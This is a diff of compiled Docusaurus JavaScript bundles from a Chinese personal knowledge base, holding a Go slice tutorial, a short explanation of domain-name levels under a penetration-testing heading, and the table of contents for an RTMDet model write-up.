7]\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u901a\u8fc7var\u58f0\u660e\u7684\u96f6\u503c\u5207\u7247\u53ef\u4ee5\u5728",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u76f4\u63a5\u4f7f\u7528\uff0c\u65e0\u9700\u521d\u59cb\u5316\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var s []int\ns = append(s, 1, 2, 3)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6ca1\u6709\u5fc5\u8981\u50cf\u4e0b\u9762\u7684\u4ee3\u7801\u4e00\u6837\u521d\u59cb\u5316\u4e00\u4e2a\u5207\u7247\u518d\u4f20\u5165",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u4f7f\u7528\uff0c"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"s := []int{} // \u6ca1\u6709\u5fc5\u8981\u521d\u59cb\u5316\ns = append(s, 1, 2, 3)\n\nvar s = make([]int) // \u6ca1\u6709\u5fc5\u8981\u521d\u59cb\u5316\ns = append(s, 1, 2, 3)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6bcf\u4e2a\u5207\u7247\u4f1a\u6307\u5411\u4e00\u4e2a\u5e95\u5c42\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u7684\u5bb9\u91cf\u591f\u7528\u5c31\u6dfb\u52a0\u65b0\u589e\u5143\u7d20\u3002\u5f53\u5e95\u5c42\u6570\u7ec4\u4e0d\u80fd\u5bb9\u7eb3\u65b0\u589e\u7684\u5143\u7d20\u65f6\uff0c\u5207\u7247\u5c31\u4f1a\u81ea\u52a8\u6309\u7167\u4e00\u5b9a\u7684\u7b56\u7565\u8fdb\u884c\u201c\u6269\u5bb9\u201d\uff0c\u6b64\u65f6\u8be5\u5207\u7247\u6307\u5411\u7684\u5e95\u5c42\u6570\u7ec4\u5c31\u4f1a\u66f4\u6362\u3002\u201c\u6269\u5bb9\u201d\u64cd\u4f5c\u5f80\u5f80\u53d1\u751f\u5728",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u6240\u4ee5\u6211\u4eec\u901a\u5e38\u90fd\u9700\u8981\u7528\u539f\u53d8\u91cf\u63a5\u6536append\u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\t//append()\u6dfb\u52a0\u5143\u7d20\u548c\u5207\u7247\u6269\u5bb9\n\tvar numSlice []int\n\tfor i := 0; i < 10; i++ {\n\t\tnumSlice = append(numSlice, i)\n\t\tfmt.Printf("%v len:%d cap:%d ptr:%p\\n", numSlice, len(numSlice), cap(numSlice), numSlice)\n\t}\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"[0] len:1 cap:1 ptr:0xc0000a8000\n[0 1] len:2 cap:2 ptr:0xc0000a8040\n[0 1 2] len:3 cap:4 ptr:0xc0000b2020\n[0 1 2 3] len:4 cap:4 ptr:0xc0000b2020\n[0 1 2 3 4] len:5 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5] len:6 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6] len:7 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6 7] len:8 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6 7 8] len:9 cap:16 ptr:0xc0000b8000\n[0 1 2 3 4 5 6 7 8 9] len:10 cap:16 ptr:0xc0000b8000\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u7ed3\u679c\u53ef\u4ee5\u770b\u51fa\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u5c06\u5143\u7d20\u8ffd\u52a0\u5230\u5207\u7247\u7684\u6700\u540e\u5e76\u8fd4\u56de\u8be5\u5207\u7247\u3002"]}),"\n",(0,s.jsx)(e.li,{children:"\u5207\u7247numSlice\u7684\u5bb9\u91cf\u6309\u71671\uff0c2\uff0c4\uff0c8\uff0c16\u8fd9\u6837\u7684\u89c4\u5219\u81ea\u52a8\u8fdb\u884c\u6269\u5bb9\uff0c\u6bcf\u6b21\u6269\u5bb9\u540e\u90fd\u662f\u6269\u5bb9\u524d\u76842\u500d\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"append()\u51fd\u6570\u8fd8\u652f\u6301\u4e00\u6b21\u6027\u8ffd\u52a0\u591a\u4e2a\u5143\u7d20\u3002 \u4f8b\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'var citySlice []string\n// \u8ffd\u52a0\u4e00\u4e2a\u5143\u7d20\ncitySlice = append(citySlice, "\u5317\u4eac")\n// \u8ffd\u52a0\u591a\u4e2a\u5143\u7d20\ncitySlice = append(citySlice, "\u4e0a\u6d77", "\u5e7f\u5dde", "\u6df1\u5733")\n// \u8ffd\u52a0\u5207\u7247\na := []string{"\u6210\u90fd", "\u91cd\u5e86"}\ncitySlice = append(citySlice, a...)\nfmt.Println(citySlice) //[\u5317\u4eac \u4e0a\u6d77 \u5e7f\u5dde \u6df1\u5733 \u6210\u90fd \u91cd\u5e86]\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",children:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565"}),"\n",(0,s.jsxs)(e.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b",(0,s.jsx)(e.code,{children:"$GOROOT/src/runtime/slice.go"}),"\u6e90\u7801\uff0c\u5176\u4e2d\u6269\u5bb9\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"newcap := old.cap\ndoublecap := newcap + newcap\nif cap > doublecap {\n\tnewcap = cap\n} else {\n\tif old.len < 1024 {\n\t\tnewcap = doublecap\n\t} else {\n\t\t// Check 0 < newcap to detect overflow\n\t\t// and prevent an infinite loop.\n\t\tfor 0 < newcap && newcap < cap {\n\t\t\tnewcap += newcap / 4\n\t\t}\n\t\t// Set newcap to the requested cap when\n\t\t// the newcap calculation overflowed.\n\t\tif newcap <= 0 {\n\t\t\tnewcap = cap\n\t\t}\n\t}\n}\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u53ef\u4ee5\u770b\u51fa\u4ee5\u4e0b\u5185\u5bb9\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u9996\u5148\u5224\u65ad\uff0c\u5982\u679c\u65b0\u7533\u8bf7\u5bb9\u91cf\uff08cap\uff09\u5927\u4e8e2\u500d\u7684\u65e7\u5bb9\u91cf\uff08old.cap\uff09\uff0c\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u5c31\u662f\u65b0\u7533\u8bf7\u7684\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5426\u5219\u5224\u65ad\uff0c\u5982\u679c\u65e7\u5207\u7247\u7684\u957f\u5ea6\u5c0f\u4e8e1024\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf(newcap)\u5c31\u662f\u65e7\u5bb9\u91cf(old.cap)\u7684\u4e24\u500d\uff0c\u5373\uff08newcap=doublecap\uff09\uff0c"}),"\n",(0,s.jsxs)(e.li,{children:["\u5426\u5219\u5224\u65ad\uff0c\u5982\u679c\u65e7\u5207\u7247\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e1024\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u4ece\u65e7\u5bb9\u91cf\uff08old.cap\uff09\u5f00\u59cb\u5faa\u73af\u589e\u52a0\u539f\u6765\u76841/4\uff0c\u5373",(0,s.jsx)(e.code,{children:"\uff08newcap=old.cap,for {newcap += newcap/4}\uff09"}),"\u76f4\u5230\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u5927\u4e8e\u7b49\u4e8e\u65b0\u7533\u8bf7\u7684\u5bb9\u91cf(cap)\uff0c\u5373\uff08newcap >= cap\uff09"]}),"\n",(0,s.jsx)(e.li,{children:"\u5982\u679c\u6700\u7ec8\u5bb9\u91cf\uff08cap\uff09\u8ba1\u7b97\u503c\u6ea2\u51fa\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf\uff08cap\uff09\u5c31\u662f\u65b0\u7533\u8bf7\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5207\u7247\u6269\u5bb9\u8fd8\u4f1a\u6839\u636e\u5207\u7247\u4e2d\u5143\u7d20\u7684\u7c7b\u578b\u4e0d\u540c\u800c\u505a\u4e0d\u540c\u7684\u5904\u7406\uff0c\u6bd4\u5982",(0,s.jsx)(e.code,{children:"int"}),"\u548c",(0,s.jsx)(e.code,{children:"string"}),"\u7c7b\u578b\u7684\u5904\u7406\u65b9\u5f0f\u5c31\u4e0d\u4e00\u6837\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4f7f\u7528copy\u51fd\u6570\u590d\u5236\u5207\u7247",children:"\u4f7f\u7528copy()\u51fd\u6570\u590d\u5236\u5207\u7247"}),"\n",(0,s.jsx)(e.p,{children:"\u9996\u5148\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u95ee\u9898\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ta := []int{1, 2, 3, 4, 5}\n\tb := a\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(b) //[1 2 3 4 5]\n\tb[0] = 1000\n\tfmt.Println(a) //[1000 2 3 4 5]\n\tfmt.Println(b) //[1000 2 3 4 5]\n}\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7531\u4e8e\u5207\u7247\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u6240\u4ee5a\u548cb\u5176\u5b9e\u90fd\u6307\u5411\u4e86\u540c\u4e00\u5757\u5185\u5b58\u5730\u5740\u3002\u4fee\u6539b\u7684\u540c\u65f6a\u7684\u503c\u4e5f\u4f1a\u53d1\u751f\u53d8\u5316\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5185\u5efa\u7684",(0,s.jsx)(e.code,{children:"copy()"}),"\u51fd\u6570\u53ef\u4ee5\u8fc5\u901f\u5730\u5c06\u4e00\u4e2a\u5207\u7247\u7684\u6570\u636e\u590d\u5236\u5230\u53e6\u5916\u4e00\u4e2a\u5207\u7247\u7a7a\u95f4\u4e2d\uff0c",(0,s.jsx)(e.code,{children:"copy()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"copy(destSlice, srcSlice []T)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"srcSlice: \u6570\u636e\u6765\u6e90\u5207\u7247"}),"\n",(0,s.jsx)(e.li,{children:"destSlice: \u76ee\u6807\u5207\u7247"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// copy()\u590d\u5236\u5207\u7247\n\ta := []int{1, 2, 3, 4, 5}\n\tc := make([]int, 5, 5)\n\tcopy(c, a) //\u4f7f\u7528copy()\u51fd\u6570\u5c06\u5207\u7247a\u4e2d\u7684\u5143\u7d20\u590d\u5236\u5230\u5207\u7247c\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(c) //[1 2 3 4 5]\n\tc[0] = 1000\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(c) //[1000 2 3 4 5]\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",children:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20"}),"\n",(0,s.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u5e76\u6ca1\u6709\u5220\u9664\u5207\u7247\u5143\u7d20\u7684\u4e13\u7528\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5207\u7247\u672c\u8eab\u7684\u7279\u6027\u6765\u5220\u9664\u5143\u7d20\u3002 \u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20\n\ta := []int{30, 31, 32, 33, 34, 35, 36, 37}\n\t// \u8981\u5220\u9664\u7d22\u5f15\u4e3a2\u7684\u5143\u7d20\n\ta = append(a[:2], a[3:]...)\n\tfmt.Println(a) //[30 31 33 34 35 36 37]\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u603b\u7ed3\u4e00\u4e0b\u5c31\u662f\uff1a\u8981\u4ece\u5207\u7247a\u4e2d\u5220\u9664\u7d22\u5f15\u4e3a",(0,s.jsx)(e.code,{children:"index"}),"\u7684\u5143\u7d20\uff0c\u64cd\u4f5c\u65b9\u6cd5\u662f",(0,s.jsx)(e.code,{children:"a = append(a[:index], a[index+1:]...)"})]})]})}function o(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/assets/js/6d1d7c0c.2740f4cf.js b/assets/js/6d1d7c0c.2740f4cf.js new file mode 100644 index 0000000..719eaa2 --- /dev/null +++ b/assets/js/6d1d7c0c.2740f4cf.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8039],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>o});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},91935:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>o,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/README","title":"\u4e3b\u57df\u540d\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4fe1\u606f\u6536\u96c6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"},"next":{"title":"ICP\u5907\u6848\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2"}}');var r=n(74848),l=n(28453);const c={},o="\u4e3b\u57df\u540d\u6536\u96c6",i={},a=[];function d(e){const t={a:"a",blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u4e3b\u57df\u540d\u6536\u96c6",children:"\u4e3b\u57df\u540d\u6536\u96c6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 09:50:48"})]})})]}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.strong,{children:"\u57df\u540d"}),"\uff08\u82f1\u8bed\uff1aDomain Name\uff09\uff0c\u53c8\u79f0\u7f51\u57df\uff0c\u662f\u7531\u4e00\u4e32\u7528\u70b9\u5206\u9694\u7684\u540d\u5b57\u7ec4\u6210\u7684Internet\u4e0a\u67d0\u4e00\u53f0\u8ba1\u7b97\u673a\u6216\u8ba1\u7b97\u673a\u7ec4\u7684\u540d\u79f0\uff0c\u7528\u4e8e\u5728\u6570\u636e\u4f20\u8f93\u65f6\u5bf9\u8ba1\u7b97\u673a\u7684\u5b9a\u4f4d\u6807\u8bc6\uff08\u6709\u65f6\u4e5f\u6307\u5730\u7406\u4f4d\u7f6e\uff09\u3002\u7531\u4e8eIP\u5730\u5740\u5177\u6709\u4e0d\u65b9\u4fbf\u8bb0\u5fc6\u5e76\u4e14\u4e0d\u80fd\u663e\u793a\u5730\u5740\u7ec4\u7ec7\u7684\u540d\u79f0\u548c\u6027\u8d28\u7b49\u7f3a\u70b9\uff0c\u4eba\u4eec\u8bbe\u8ba1\u51fa\u4e86\u57df\u540d\uff0c\u5e76\u901a\u8fc7\u7f51\u57df\u540d\u79f0\u7cfb\u7edf\u6765\u5c06\u57df\u540d\u548cIP\u5730\u5740\u76f8\u4e92\u6620\u5c04\uff0c\u4f7f\u4eba\u66f4\u65b9\u4fbf\u5730\u8bbf\u95ee\u4e92\u8054\u7f51\uff0c\u800c\u4e0d\u7528\u53bb\u8bb0\u4f4f\u80fd\u591f\u88ab\u673a\u5668\u76f4\u63a5\u8bfb\u53d6\u7684IP\u5730\u5740\u6570\u4e32\u3002"]}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u9876\u7ea7\u57df\u540d/\u4e00\u7ea7\u57df\u540d\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u9876\u7ea7\u57df\uff08\u6216\u9876\u7ea7\u57df\u540d\uff0c\u4e5f\u79f0\u4e3a\u4e00\u7ea7\u57df\u540d\uff09\uff0c\u662f\u4e92\u8054\u7f51DNS\u7b49\u7ea7\u4e4b\u4e2d\u7684\u6700\u9ad8\u7ea7\u7684\u57df\uff0c\u5b83\u4fdd\u5b58\u4e8eDNS\u6839\u57df\u7684\u540d\u5b57\u7a7a\u95f4\u4e2d\u3002\u9876\u7ea7\u57df\u540d\u662f\u57df\u540d\u7684\u6700\u540e\u4e00\u4e2a\u90e8\u5206\uff0c\u5373\u662f\u57df\u540d\u6700\u540e\u4e00\u70b9\u4e4b\u540e\u7684\u5b57\u6bcd\uff0c\u4f8b\u5982\u5728",(0,r.jsx)(t.a,{href:"http://www.example.com%E8%BF%99%E4%B8%AA%E5%9F%9F%E5%90%8D%E4%B8%AD%EF%BC%8C**%E9%A1%B6%E7%BA%A7%E5%9F%9F%E6%98%AF****.com**%E3%80%82",children:"http://www.example.com\u8fd9\u4e2a\u57df\u540d\u4e2d\uff0c**\u9876\u7ea7\u57df\u662f****.com**\u3002"})]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u4e8c\u7ea7\u57df\u540d\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u9664\u4e86\u9876\u7ea7\u57df\u540d\uff0c\u8fd8\u6709\u4e8c\u7ea7\u57df\u540d\uff0c\u5c31\u662f\u6700\u9760\u8fd1\u9876\u7ea7\u57df\u540d\u5de6\u4fa7\u7684\u5b57\u6bb5\u3002\u4f8b\u5982\u5728",(0,r.jsx)(t.a,{href:"http://www.example.com%E8%BF%99%E4%B8%AA%E5%9F%9F%E5%90%8D%E4%B8%AD%EF%BC%8Cexample%E5%B0%B1%E6%98%AF%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E3%80%82",children:"http://www.example.com\u8fd9\u4e2a\u57df\u540d\u4e2d\uff0cexample\u5c31\u662f\u4e8c\u7ea7\u57df\u540d\u3002"})]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u5b50\u57df\u540d\uff1a"})}),"\n",(0,r.jsx)(t.p,{children:"\u5b50\u57df\u540d\uff08\u6216\u5b50\u57df\uff1b\u82f1\u8bed\uff1aSubdomain\uff09\u662f\u5728\u57df\u540d\u7cfb\u7edf\u7b49\u7ea7\u4e2d\uff0c\u5c5e\u4e8e\u66f4\u9ad8\u4e00\u5c42\u57df\u7684\u57df\u3002\u6bd4\u5982\uff0cmail.example.com\u548ccalendar.example.com\u662fexample.com\u7684\u4e24\u4e2a\u5b50\u57df\uff0c\u800cexample.com\u5219\u662f\u9876\u7ea7\u57df.com\u7684\u5b50\u57df\u3002\u51e1\u9876\u7ea7\u57df\u540d\u524d\u52a0\u524d\u7f00\u7684\u90fd\u662f\u8be5\u9876\u7ea7\u57df\u540d\u7684\u5b50\u57df\u540d\uff0c\u800c\u5b50\u57df\u540d\u6839\u636e\u6280\u672f\u7684\u591a\u5c11\u5206\u4e3a\u4e8c\u7ea7\u5b50\u57df\u540d\uff0c\u4e09\u7ea7\u5b50\u57df\u540d\u4ee5\u53ca\u591a\u7ea7\u5b50\u57df\u540d\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/6d479a83.b64ff175.js b/assets/js/6d479a83.b64ff175.js new file mode 100644 index 0000000..acc1a46 --- /dev/null +++ b/assets/js/6d479a83.b64ff175.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6667],{28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>r});var d=s(96540);const l={},c=d.createContext(l);function i(e){const n=d.useContext(c);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),d.createElement(c.Provider,{value:n},e.children)}},79273:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>t,contentTitle:()=>r,default:()=>x,frontMatter:()=>i,metadata:()=>d,toc:()=>h});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","title":"rtmdet_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"model_design.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design"},"next":{"title":"yolov5_description.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description"}}');var l=s(74848),c=s(28453);const i={},r="rtmdet_description.md",t={},h=[{value:"0 \u7b80\u4ecb",id:"0-\u7b80\u4ecb",level:2},{value:"1 v1.0 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"1-v10-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:2},{value:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757",id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",level:3},{value:"1.1.1 \u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165 Cache",id:"111-\u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165-cache",level:4},{value:"1.1.2 Mosaic",id:"112-mosaic",level:4},{value:"1.1.3 MixUp",id:"113-mixup",level:4},{value:"1.1.4 \u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",id:"114-\u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",level:4},{value:"1.2 \u6a21\u578b\u7ed3\u6784",id:"12-\u6a21\u578b\u7ed3\u6784",level:3},{value:"1.2.1 Backbone",id:"121-backbone",level:4},{value:"1.2.2 CSPNeXt Block",id:"122-cspnext-block",level:4},{value:"1.2.3 \u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c stage \u95f4\u7684 block \u6570",id:"123-\u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c-stage-\u95f4\u7684-block-\u6570",level:4},{value:"1.2.4 Neck",id:"124-neck",level:4},{value:"1.2.5 Backbone \u4e0e Neck \u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",id:"125-backbone-\u4e0e-neck-\u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",level:4},{value:"1.2.6 Head",id:"126-head",level:4},{value:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",level:3},{value:"1.3.1 Bbox 